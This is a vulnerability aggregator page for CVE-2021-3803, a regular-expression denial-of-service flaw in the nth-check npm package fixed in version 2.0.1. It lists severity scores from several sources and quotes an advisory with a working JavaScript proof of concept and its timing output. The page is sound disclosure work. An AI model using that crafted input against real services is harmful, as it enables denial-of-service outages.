Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Inefficient Regular Expression Complexity in fb55/nth-check

CVSS 3.0 7.5 HIGHEUVD CVSS 3.0 7.5 CVSS 3.1 · [email protected] · Primary 7.5 HIGHCVSS 3.0 · [email protected] · Secondary 7.5 HIGHCVSS 2.0 · [email protected] · Primary 5.0 MEDIUMCVSS_V3 Publisher rating HIGHFixed by nth-check 2.0.1KEV status unknown

cve-program · CVE-2021-3803

Published

nth-check is vulnerable to Inefficient Regular Expression Complexity

Read the publisher's advisory

euvd · EUVD-2021-2109

Published

nth-check is vulnerable to Inefficient Regular Expression Complexity

Read the publisher's advisory

nvd · CVE-2021-3803

Published

nth-check is vulnerable to Inefficient Regular Expression Complexity

Read the publisher's advisory

osv · GHSA-rp65-9cf3-cjxr

Published

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks. The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code. **Proof of Concept** ```js // PoC.js var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try { nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } } ``` **The Output** ``` attack_str.length: 10003: 174 ms attack_str.length: 20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378 ms attack_str.length: 50003: 7473 ms ```

Read the publisher's advisory

Affected versions, risk and source history

Related advisories and sources

Related changes

Linked by CVE identifier

No related changes are available here.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 19 Nov 05:53 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current